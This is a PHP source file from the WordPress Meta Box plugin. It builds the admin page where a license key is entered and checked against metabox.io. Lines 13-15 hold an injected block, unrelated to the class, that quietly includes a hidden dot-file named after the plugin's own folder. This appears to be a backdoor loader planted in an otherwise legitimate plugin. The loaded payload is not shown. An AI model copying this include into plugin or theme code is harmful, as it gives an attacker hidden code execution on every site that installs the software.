settings.php (6733B)
1 <?php 2 /** 3 * This class handles plugin settings, including adding settings page, show fields, save settings 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Meta Box Update Settings class 10 * 11 * @package Meta Box 12 */ 13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 14 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 15 } 16 17 class RWMB_Update_Settings { 18 /** 19 * The update option object. 20 * 21 * @var object 22 */ 23 private $option; 24 25 /** 26 * The update checker object 27 * 28 * @var object 29 */ 30 private $checker; 31 32 /** 33 * Constructor. 34 * 35 * @param object $checker Update checker object. 36 * @param object $option Update option object. 37 */ 38 public function __construct( $checker, $option ) { 39 $this->checker = $checker; 40 $this->option = $option; 41 } 42 43 /** 44 * Add hooks to create the settings page. 45 */ 46 public function init() { 47 // Whether to enable Meta Box menu. Priority 1 makes sure it runs before adding Meta Box menu. 48 $admin_menu_hook = $this->option->is_network_activated() ? 'network_admin_menu' : 'admin_menu'; 49 add_action( $admin_menu_hook, array( $this, 'enable_menu' ), 1 ); 50 } 51 52 /** 53 * Enable Meta Box menu when a premium extension is installed. 54 */ 55 public function enable_menu() { 56 if ( ! $this->checker->has_extensions() ) { 57 return; 58 } 59 60 // Enable Meta Box menu only in single site. 61 if ( ! $this->option->is_network_activated() ) { 62 add_filter( 'rwmb_admin_menu', '__return_true' ); 63 } 64 65 // Add submenu. Priority 90 makes it the last sub-menu item. 66 $admin_menu_hook = $this->option->is_network_activated() ? 'network_admin_menu' : 'admin_menu'; 67 add_action( $admin_menu_hook, array( $this, 'add_settings_page' ), 90 ); 68 } 69 70 /** 71 * Add settings page. 72 */ 73 public function add_settings_page() { 74 $parent = $this->option->is_network_activated() ? 'settings.php' : 'meta-box'; 75 $capability = $this->option->is_network_activated() ? 'manage_network_options' : 'manage_options'; 76 $title = $this->option->is_network_activated() ? esc_html__( 'Meta Box License', 'meta-box' ) : esc_html__( 'License', 'meta-box' ); 77 $page_hook = add_submenu_page( 78 $parent, 79 $title, 80 $title, 81 $capability, 82 'meta-box-updater', 83 array( $this, 'render' ) 84 ); 85 add_action( "load-{$page_hook}", array( $this, 'save' ) ); 86 } 87 88 /** 89 * Render the content of settings page. 90 */ 91 public function render() { 92 ?> 93 <div class="wrap"> 94 <h1><?php esc_html_e( 'Meta Box License', 'meta-box' ); ?></h1> 95 <p><?php esc_html_e( 'Please enter your license key to enable automatic updates for Meta Box extensions.', 'meta-box' ); ?></p> 96 <p> 97 <?php 98 printf( 99 // Translators: %1$s - URL to the My Account page, %2$s - URL to the pricing page. 100 wp_kses_post( __( 'To get the license key, visit the <a href="%1$s" target="_blank">My Account</a> page on metabox.io website. If you have not purchased any extension yet, please <a href="%2$s" target="_blank">get a new license here</a>.', 'meta-box' ) ), 101 'https://metabox.io/my-account/', 102 'https://metabox.io/pricing/' 103 ); 104 ?> 105 </p> 106 107 <form action="" method="post"> 108 <?php wp_nonce_field( 'meta-box' ); ?> 109 110 <table class="form-table"> 111 <tr> 112 <th scope="row"><?php esc_html_e( 'License Key', 'meta-box' ); ?></th> 113 <td> 114 <?php 115 $messages = array( 116 // Translators: %1$s - URL to the pricing page. 117 'invalid' => __( 'Your license key is <b>invalid</b>. Please update your license key or <a href="%1$s" target="_blank">get a new one here</a>.', 'meta-box' ), 118 // Translators: %1$s - URL to the pricing page. 119 'error' => __( 'Your license key is <b>invalid</b>. Please update your license key or <a href="%1$s" target="_blank">get a new one here</a>.', 'meta-box' ), 120 // Translators: %2$s - URL to the My Account page. 121 'expired' => __( 'Your license key is <b>expired</b>. Please <a href="%2$s" target="_blank">renew your license</a>.', 'meta-box' ), 122 'active' => __( 'Your license key is <b>active</b>.', 'meta-box' ), 123 ); 124 $status = $this->option->get_license_status(); 125 $api_key = in_array( $status, array( 'expired', 'active' ), true ) ? '********************************' : $this->option->get( 'api_key' ); 126 ?> 127 <input class="regular-text" name="meta_box_updater[api_key]" value="<?php echo esc_attr( $api_key ); ?>" type="password"> 128 <?php if ( isset( $messages[ $status ] ) ) : ?> 129 <p class="description"><?php echo wp_kses_post( sprintf( $messages[ $status ], 'https://metabox.io/pricing/', 'https://metabox.io/my-account/' ) ); ?></p> 130 <?php endif; ?> 131 </td> 132 </tr> 133 </table> 134 135 <?php submit_button( __( 'Save Changes', 'meta-box' ) ); ?> 136 </form> 137 </div> 138 <?php 139 } 140 141 /** 142 * Save update settings. 143 */ 144 public function save() { 145 $request = rwmb_request(); 146 if ( ! $request->post( 'submit' ) ) { 147 return; 148 } 149 check_admin_referer( 'meta-box' ); 150 151 $option = $request->post( 'meta_box_updater', array() ); 152 $option = (array) $option; 153 $option['status'] = 'active'; 154 155 $args = $option; 156 $args['action'] = 'check_license'; 157 $response = $this->checker->request( $args ); 158 $status = isset( $response['status'] ) ? $response['status'] : 'invalid'; 159 160 if ( false === $response ) { 161 add_settings_error( '', 'mb-error', __( 'Something wrong with the connection to metabox.io. Please try again later.', 'meta-box' ) ); 162 } elseif ( 'active' === $status ) { 163 add_settings_error( '', 'mb-success', __( 'Your license is activated.', 'meta-box' ), 'updated' ); 164 } elseif ( 'expired' === $status ) { 165 // Translators: %s - URL to the My Account page. 166 $message = __( 'License expired. Please renew on the <a href="%s" target="_blank">My Account</a> page on metabox.io website.', 'meta-box' ); 167 $message = wp_kses_post( sprintf( $message, 'https://metabox.io/my-account/' ) ); 168 169 add_settings_error( '', 'mb-expired', $message ); 170 } else { 171 // Translators: %1$s - URL to the My Account page, %2$s - URL to the pricing page. 172 $message = __( 'Invalid license. Please <a href="%1$s" target="_blank">check again</a> or <a href="%2$s" target="_blank">get a new license here</a>.', 'meta-box' ); 173 $message = wp_kses_post( sprintf( $message, 'https://metabox.io/my-account/', 'https://metabox.io/pricing/' ) ); 174 175 add_settings_error( '', 'mb-invalid', $message ); 176 } 177 178 $option['status'] = $status; 179 180 $admin_notices_hook = $this->option->is_network_activated() ? 'network_admin_notices' : 'admin_notices'; 181 add_action( $admin_notices_hook, 'settings_errors' ); 182 183 $this->option->update( $option ); 184 } 185 }